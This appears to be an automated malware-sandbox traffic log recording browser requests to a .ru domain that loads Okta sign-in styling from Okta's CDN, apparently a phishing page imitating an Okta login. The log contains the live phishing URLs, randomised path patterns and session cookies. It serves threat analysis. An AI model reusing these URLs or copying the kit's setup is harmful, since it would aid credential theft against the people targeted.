                  Source: global trafficHTTP traffic detected: GET /pax6lf1/ HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://jonathanball.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpWRU94eEU4cHV4Qm05Ri81Y21LakE9PSIsInZhbHVlIjoiQWVpOHNTYVFSbGdzSUJTTTRvYWxESThya2lTTnF1bHg4eDgyMzdydmFKVGZSenlCeGhWWDJWYlJOYVdJOThkZjRZNlo1c2hlRitBWHhWMnV5UTM4dU4ybGhlUHlUcVlCVXc2OGljUjFUdnVpQWxtaE9IRlZ3dmc5OVVzYVZrRnEiLCJtYWMiOiJmMmRiZmEzYTFkZjY0Y2UwODYxZWJhM2Q4ZWMzMzg1ODM4NTczZDFlZTFkN2Q0NTZhYWViNWZkYTczMjJlOWI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InB3MFJjdFM0SHA0NW15SzNOUjBHS3c9PSIsInZhbHVlIjoiZktiVHN4WUd2N1ZxdHFPOTJNcHJ4b0RyN0tXWTBkeUJZZ0ZYM0VxNkxBRUUxcER3bVNCdW8xM2txSUlSb3pEalRrWjRGVkFvei81Y0hrUGs4YTlibFg3VzZlK3BtUU91WGQwanIrWUlPWlczaUg2U1p1Z3psaVZGbDZEYUlURE8iLCJtYWMiOiI1NjA0YzFjNDA0YWVhNmVjMmMzYzA3YzE1NGM2NmQyNGZhYjZkYTViYTM2OTQ2ZjQ2NjkzM2NkM2IyMmE0M2YwIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /sowk0pwIzMKIOObBz3Ya0sP9tr3OaXBtn HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImpWRU94eEU4cHV4Qm05Ri81Y21LakE9PSIsInZhbHVlIjoiQWVpOHNTYVFSbGdzSUJTTTRvYWxESThya2lTTnF1bHg4eDgyMzdydmFKVGZSenlCeGhWWDJWYlJOYVdJOThkZjRZNlo1c2hlRitBWHhWMnV5UTM4dU4ybGhlUHlUcVlCVXc2OGljUjFUdnVpQWxtaE9IRlZ3dmc5OVVzYVZrRnEiLCJtYWMiOiJmMmRiZmEzYTFkZjY0Y2UwODYxZWJhM2Q4ZWMzMzg1ODM4NTczZDFlZTFkN2Q0NTZhYWViNWZkYTczMjJlOWI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InB3MFJjdFM0SHA0NW15SzNOUjBHS3c9PSIsInZhbHVlIjoiZktiVHN4WUd2N1ZxdHFPOTJNcHJ4b0RyN0tXWTBkeUJZZ0ZYM0VxNkxBRUUxcER3bVNCdW8xM2txSUlSb3pEalRrWjRGVkFvei81Y0hrUGs4YTlibFg3VzZlK3BtUU91WGQwanIrWUlPWlczaUg2U1p1Z3psaVZGbDZEYUlURE8iLCJtYWMiOiI1NjA0YzFjNDA0YWVhNmVjMmMzYzA3YzE1NGM2NmQyNGZhYjZkYTViYTM2OTQ2ZjQ2NjkzM2NkM2IyMmE0M2YwIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Range: bytes=64893-64893If-Range: "28feccc0-15d9d"
                  Source: global trafficHTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Range: bytes=64893-89500If-Range: "28feccc0-15d9d"
                  Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik5qTkdSSmlDNDRUU2hTZGlYNURieHc9PSIsInZhbHVlIjoicjQrNEV6Y285UmVxdFBIWThaNVJWTUZzcnJKVy9CaE1mdGlJQzExeGRLZVNlb2tSNU9HVVEvZ0ExVDVRYTQrUEdIUVVpUVBJaFE2MUFveGxhYS9BbTdTVTBJeHMwckRsRi82MFZaYXZ6eGdGKzJORFhJZGxhRDhrRnNoQ05pVFQiLCJtYWMiOiJmZWM1YjZjM2RiZWZkNTI1MWYxNzA4ZDQxNjY5OWFkNGEwOTNjYTk1MjBmYTVmYjk1MWRmMzE1ODU5N2VjNGJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZ4clFPbG5GdmhhdVFMZ3pYWWlYVkE9PSIsInZhbHVlIjoiZ0lPSkYyZFJueE0xN0Zzajh2VEtjZTFkR0FacEpmaFdVNnp0cVlNRTljNzFnK0k3U3BNSmxJNFl0ZEVoMmFUeHFRZHFvUnVIYVVJYWYzQU1WZ0dzakp3Q1ArZHh3T2Z5VFBDaXhXUG5JQjM1b1lyUXBsSGFQQkl3R3BVbGdCc04iLCJtYWMiOiI4NGQ5ODE4MTFhNDFlZmZiODIwNTkwYWVkYjM4MmM2NDgzM2JlNWFhNTA3YWE0ZDM4OWUwYzNkOWYxMDM1ODYzIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /rqqr2dn2MveG1ryZi6XOHuRzADeoa0tkPM6rGUeHD2iuZIIjy HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IklvVWhEWndwcFNXKzc3QWxYbFB3L1E9PSIsInZhbHVlIjoiLzZLLzlTSGN0ZHp4NnBocCt5WUNIRGdFSllaRXdyRUp5V2lFbkZ2Tml3S1FOditybEpKZWJmS2Q2UnU5ZlphU2FnOGZRVVpBb3BZYUl2cWFpVjY5SjFzbDJDNVJkTzEreHJxRU5KblhvSmtyWlE5YlhxTFlnZ08vbUNoV2pDK0wiLCJtYWMiOiI1MjRjMTMyOTZmM2I1OTdkYjgyYTAxZGIwNWU4MGJmZjIzNjdiZjU5YmUwMjY3ZTAyMTAxNmZmYzE4ZTUyYmIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijd2eEJSN3dpdHZwcjBWRFNvQkdYNlE9PSIsInZhbHVlIjoiRENJK0NzSVIvSXpGdEdKU3prRjZPSG5UYUhIblRZQUdlMnlGVlJQZDVrZ0s5ekpvWWpObEEvMU50WCtXdDh6eGFBaktjR0pwamdIL1ZCZTEvUUF4TXRZVVB5cElVQmdiWTRxL0I4Z3dFMGQvNi9pRVVlZThlVzRQVkNrMDloaWsiLCJtYWMiOiIxNzQzZTQ2Njg1OGMyMTU0NTM2ODZiNTFjMGZjOGZjMzhmYWIxYTYzN2Q0ZTM4OWQ0MWExZmQ0MTgxYWNlMTllIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGER HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://jonathanball.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IklvVWhEWndwcFNXKzc3QWxYbFB3L1E9PSIsInZhbHVlIjoiLzZLLzlTSGN0ZHp4NnBocCt5WUNIRGdFSllaRXdyRUp5V2lFbkZ2Tml3S1FOditybEpKZWJmS2Q2UnU5ZlphU2FnOGZRVVpBb3BZYUl2cWFpVjY5SjFzbDJDNVJkTzEreHJxRU5KblhvSmtyWlE5YlhxTFlnZ08vbUNoV2pDK0wiLCJtYWMiOiI1MjRjMTMyOTZmM2I1OTdkYjgyYTAxZGIwNWU4MGJmZjIzNjdiZjU5YmUwMjY3ZTAyMTAxNmZmYzE4ZTUyYmIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijd2eEJSN3dpdHZwcjBWRFNvQkdYNlE9PSIsInZhbHVlIjoiRENJK0NzSVIvSXpGdEdKU3prRjZPSG5UYUhIblRZQUdlMnlGVlJQZDVrZ0s5ekpvWWpObEEvMU50WCtXdDh6eGFBaktjR0pwamdIL1ZCZTEvUUF4TXRZVVB5cElVQmdiWTRxL0I4Z3dFMGQvNi9pRVVlZThlVzRQVkNrMDloaWsiLCJtYWMiOiIxNzQzZTQ2Njg1OGMyMTU0NTM2ODZiNTFjMGZjOGZjMzhmYWIxYTYzN2Q0ZTM4OWQ0MWExZmQ0MTgxYWNlMTllIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /56Fq10dFVhZvkCk71cd3LP6718 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /abYHpYFvpqEccd28 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveOrigin: https://jonathanball.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveOrigin: https://jonathanball.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveOrigin: https://jonathanball.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveOrigin: https://jonathanball.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T114432Z&X-Amz-Expires=300&X-Amz-Signature=2ee192713e67ca184988c93d9efab066becd50e571f9fbc48f928d7d3bf095bf&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, 